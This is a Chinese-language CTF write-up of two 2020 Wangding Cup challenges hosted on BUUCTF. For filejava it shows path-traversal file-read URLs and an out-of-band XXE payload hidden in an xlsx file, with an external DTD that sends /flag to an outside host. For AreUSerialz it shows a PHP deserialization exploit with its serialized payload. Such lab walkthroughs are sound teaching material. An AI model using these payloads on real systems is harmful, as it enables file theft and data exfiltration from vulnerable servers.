filejava

打开题目后,随后上传了文件,发现可以上传php文件。

但是目录做了解析限制,不能进行php解析。

看到查看上传文件的链接处有filename参数,测试文件任意读取漏洞。

尝试读取,http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../../../../etc/passwd 发现可以读到内容

尝试读取web.xml文件,http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../WEB-INF/web.xml

读取web.xml文件成功,可以看到本题目加载了三个servlet,读取这三个servlet的class文件。

http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

点击这里下载三个原始class文件,已经打包成了zip

使用jd-gui进行反编译。给出存在漏洞的UploadServlet的问题。

import cn.abc.servlet.UploadServlet;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {
  private static final long serialVersionUID = 1L;

  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    doPost(request, response);
  }

  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String savePath = getServletContext().getRealPath("/WEB-INF/upload");
    String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
    File tempFile = new File(tempPath);
    if (!tempFile.exists())
      tempFile.mkdir(); 
    String message = "";
    try {
      DiskFileItemFactory factory = new DiskFileItemFactory();
      factory.setSizeThreshold(102400);
      factory.setRepository(tempFile);
      ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
      upload.setHeaderEncoding("UTF-8");
      upload.setFileSizeMax(1048576L);
      upload.setSizeMax(10485760L);
      if (!ServletFileUpload.isMultipartContent(request))
        return; 
      List<FileItem> list = upload.parseRequest(request);
      for (FileItem fileItem : list) {
        if (fileItem.isFormField()) {
          String name = fileItem.getFieldName();
          String str = fileItem.getString("UTF-8");
          continue;
        } 
        String filename = fileItem.getName();
        if (filename == null || filename.trim().equals(""))
          continue; 
        String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
        InputStream in = fileItem.getInputStream();
        // 当文件为excel-xxxxx.xlsx的时候,读取excel文件并打印行数,这里用的是poi-ooxml-3.10,存在xxe漏洞
        if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
          try {
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          }  
        String saveFilename = makeFileName(filename);
        request.setAttribute("saveFilename", saveFilename);
        request.setAttribute("filename", filename);
        String realSavePath = makePath(saveFilename, savePath);
        FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
        byte[] buffer = new byte[1024];
        int len = 0;
        while ((len = in.read(buffer)) > 0)
          out.write(buffer, 0, len); 
        in.close();
        out.close();
        message = ";
      } 
    } catch (FileUploadException e) {
      e.printStackTrace();
    } 
    request.setAttribute("message", message);
    request.getRequestDispatcher("/ListFileServlet").forward((ServletRequest)request, (ServletResponse)response);
  }

  private String makeFileName(String filename) {
    return UUID.randomUUID().toString() + "_" + filename;
  }

  private String makePath(String filename, String savePath) {
    int hashCode = filename.hashCode();
    int dir1 = hashCode & 0xF;
    int dir2 = (hashCode & 0xF0) >> 4;
    String dir = savePath + "/" + dir1 + "/" + dir2;
    File file = new File(dir);
    if (!file.exists())
      file.mkdirs(); 
    return dir;
  }
}

这里提出有问题的代码

// 当文件为excel-xxxxx.xlsx的时候,读取excel文件并打印行数,这里用的是poi-ooxml-3.10,存在xxe漏洞
        if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
          try {
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          }  

看着这一段,后面就简单了,只要利用xxe漏洞将flag读出来就行了,网鼎杯的flag都在根目录下,所有读取文件/flag。

利用此漏洞首先需要制作一个恶意xlsx,新建一个xlsx excel-xxxx1.xlsx,使用压缩工具打开这个xlsx,修改其中的[Content_Types].xml

由于使用的buuctf的环境,new出的docker实例不能访问外网,这里使用小号开一台内网的虚机,虚机IP174.1.166.236

所以将[Content_Types].xml文件修改为

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://174.1.166.236/xxx.dtd">
%remote;%int;%send;
]>
<root>&send;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

由于此xml调用了外部实体xxx.dtd,需要在虚机IP174.1.166.236上部署xxx.dtd文件,

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.166.236:9999/%file;'>">

注意dtd文件中%没有写错,由于send最终将flag文件内容发送到了虚机的9999端口上,这里,给虚机监听9999端口。

上传恶意excel文件,可以看到虚机9999端口监听到了flag内容。

flag{f4ae38df-6a6b-410b-9952-1c79e7f0b696}

AreUSerialz

进入题目后给出了源码,如下。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

读源码后可以发现,题目获取一个参数str,如果符合规则函数is_valid,则进行反序列化操作,所以题目考点就是两个,一个是绕过is_valid验证方法,一个是利用反序列化执行命令或读取文件获得flag。

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

is_valid方法要求输入内容的ascii码值大于32小于125,否则返回false,32-125包含了所有的可见字符,这点很容易就能实现。

在看反序列化方法

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

首先对比了op字符,如果为2,则op改为为1,再执行process方法。

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

process方法在op等于2时,读取filename文件的内容并输出。这里还考察了=====的区别,一个是强类型比较,一个是弱类型比较。

从下图可以看一下=====的区别。

现在已经明白了逻辑,可以写出一个对象生成序列化内容。

<?php
class FileHandler {

    public $op;
    public $filename;
    public $content;

}

$file = new FileHandler;
$file -> op = 2;
$file -> filename = "flag.php";
$file -> content = "";

echo serialize($file);

?>

生成内容

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

放入链接访问 http://f38116ac-a74e-40af-a414-fe6a907cbecf.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:0:%22%22;} 获得flag

flag{14a681cc-1539-47cf-8c55-fe035cedda02}

1 对 “BUUCTF WEB 4 – 网鼎杯 2020 青龙组 – filejava、AreUSerialz”的想法;

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注